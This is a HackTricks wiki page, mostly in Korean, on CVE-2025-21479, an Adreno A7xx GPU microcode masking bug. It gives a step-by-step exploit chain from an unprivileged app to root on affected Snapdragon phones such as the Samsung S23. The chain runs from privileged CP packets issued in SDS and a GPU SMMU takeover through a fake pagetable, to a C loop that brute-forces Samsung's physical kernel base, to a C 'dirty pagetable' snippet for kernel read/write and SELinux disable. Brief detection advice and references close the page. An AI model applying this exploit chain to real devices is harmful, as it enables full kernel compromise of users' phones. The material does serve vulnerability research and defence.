Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 페이지는 실전에서 발견된 Adreno A7xx 마이크로코드 논리 버그(CVE-2025-21479)를 재현 가능한 익스플로잇 기법으로 추상화합니다: Set Draw State(SDS)에서의 IB-레벨 마스킹을 악용해 권한 없는 앱에서 privileged GPU 패킷을 실행하고, GPU SMMU 장악으로 피벗한 뒤 dirty-pagetable trick을 통해 빠르고 안정적인 kernel R/W로 이어지는 흐름입니다.
- Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
- Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
- Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).
배경: IB 레벨, SDS 및 $12 마스크
- 커널은 ringbuffer (RB=IB0)를 유지합니다. 사용자 공간은 CP_INDIRECT_BUFFER를 통해 IB1을 제출하고, IB2/IB3로 체인합니다.
- SDS는 CP_SET_DRAW_STATE를 통해 진입하는 특수 명령 스트림입니다:
- A6xx: SDS는 IB3로 취급됩니다
- A7xx: SDS는 IB4로 이동했습니다
- 마이크로코드는 현재 IB 레벨을 레지스터 $12에 추적하고, 권한 있는 패킷을 게이트하여 유효한 레벨이 IB0(커널 RB)에 해당할 때만 수락되도록 합니다.
- 버그: A7xx 마이크로코드는 $12을 0x7(3비트) 대신 0x3(2비트)으로 마스킹한 상태를 유지했습니다. IB4 & 0x3 == 0 이므로 SDS가 IB0으로 잘못 식별되어 사용자 제어 SDS에서 권한 있는 패킷이 허용되었습니다.
중요한 이유:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Microcode diff 예시 (patch가 mask를 0x7로 변경됨):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Exploitation 개요
Goal: SDS (misread as IB0)에서 특권 CP 패킷을 발행하여 GPU SMMU를 공격자가 만든 페이지 테이블로 재지정한 다음, GPU copy/write 패킷을 이용해 임의의 물리적 R/W를 수행. 마지막으로 dirty pagetable을 통해 빠른 CPU-측 R/W로 전환.
High-level chain
- 공유 메모리에 가짜 GPU pagetable을 생성
- SDS로 진입하여 다음을 실행:
- CP_SMMU_TABLE_UPDATE -> 가짜 pagetable로 전환
- CP_MEM_WRITE / CP_MEM_TO_MEM -> 쓰기/읽기 프리미티브 구현
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
GPU R/W primitives via fake pagetable
- Write: CP_MEM_WRITE를 공격자가 선택한 GPU VA로 보내고, 해당 PTE들을 선택한 PA에 매핑하면 -> 임의의 물리적 쓰기
- Read: CP_MEM_TO_MEM는 대상 PA에서 userspace-공유 버퍼로 4/8 바이트를 복사함 (더 큰 읽기는 배치 처리)
Notes
- 각 Android 프로세스는 KGSL context를 하나 받음 (IOCTL_KGSL_GPU_CONTEXT_CREATE). 컨텍스트 전환은 보통 RB에서 SMMU 테이블을 업데이트하지만; 이 버그는 SDS에서 그 작업을 가능하게 함.
- 과도한 GPU 트래픽은 UI 블랙아웃 및 재부팅을 일으킬 수 있음; 읽기는 작음(4/8B)이고 동기화는 기본적으로 느림.
Building the SDS command sequence
- 가짜 GPU 페이지테이블을 공유 메모리에 스프레이하여 적어도 하나의 인스턴스가 알려진 물리 주소에 위치하도록 함(예: allocator grooming과 반복을 통해).
- 순서대로 다음을 포함하는 SDS 버퍼를 구성:
- CP_SMMU_TABLE_UPDATE를 가짜 페이지테이블의 물리 주소로
- 새로운 매핑을 사용하여 R/W를 구현하기 위한 하나 이상의 CP_MEM_WRITE 및/또는 CP_MEM_TO_MEM 패킷
- 즉시 실행 플래그가 설정된 CP_SET_DRAW_STATE
정확한 패킷 인코딩은 펌웨어마다 다름; freedreno’s afuc/packet docs를 사용해 워드를 조립하고, 드라이버가 SDS 제출 경로를 사용하도록 확보하세요.
Finding Samsung kernel physbase under physical KASLR
Samsung은 Snapdragon 장치에서 알려진 영역 내에서 커널 물리 베이스를 랜덤화함. 예상 범위를 브루트포스하여 _stext의 첫 16바이트를 찾으세요.
Representative loop
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
physbase가 알려지면, 선형 맵으로 커널 가상 주소를 계산한다:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
빠르고 안정적인 CPU-side kernel R/W (dirty pagetable)로 안정화
GPU R/W는 느리고 세부 단위(granularity)가 작습니다. 자신의 프로세스 PTE를 손상시켜 빠르고 안정적인 프리미티브로 전환하세요(“dirty pagetable”):
Steps
- 느린 GPU R/W 프리미티브를 사용해 현재 task_struct -> mm_struct -> mm_struct->pgd를 찾는다
- 인접한 사용자 공간 페이지 A와 B를 mmap한다(예: 0x1000)
- PGD->PMD->PTE를 따라 A/B의 PTE 물리 주소를 확인한다(헬퍼: get_pgd_offset, get_pmd_offset, get_pte_offset)
- B의 PTE를 덮어써서 A/B를 관리하는 최하위 레벨 페이지테이블을 RW 속성으로 가리키게 한다(phys_to_readwrite_pte)
- B의 VA로 써서 A의 PTE를 변경해 목표 PFN을 매핑하게 한 뒤; A의 VA로 커널 메모리를 읽고 쓰며 TLB를 플러시해 센티넬이 바뀔 때까지 반복한다
예시 dirty-pagetable pivot 스니펫
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## 탐지
- Telemetry: RB/IB0 밖, 특히 SDS에서 CP_SMMU_TABLE_UPDATE (or similar privileged opcodes)이 나타나면 경고; 4/8-byte CP_MEM_TO_MEM의 비정상적 급증과 과도한 TLB flush 패턴을 모니터링
## 영향
로컬 앱이 GPU 접근 권한을 가지면 privileged GPU packets를 실행하고 GPU SMMU를 탈취하여 임의의 커널 물리/가상 R/W를 달성하고 SELinux를 비활성화한 뒤 영향을 받는 Snapdragon A7xx 장치(e.g., Samsung S23)에서 루트 권한을 획득할 수 있습니다. 심각도: 높음 (kernel compromise).
### 참고
<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>
## References
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure 해킹 배우기 및 연습하기: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
> - **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
>
> </details>


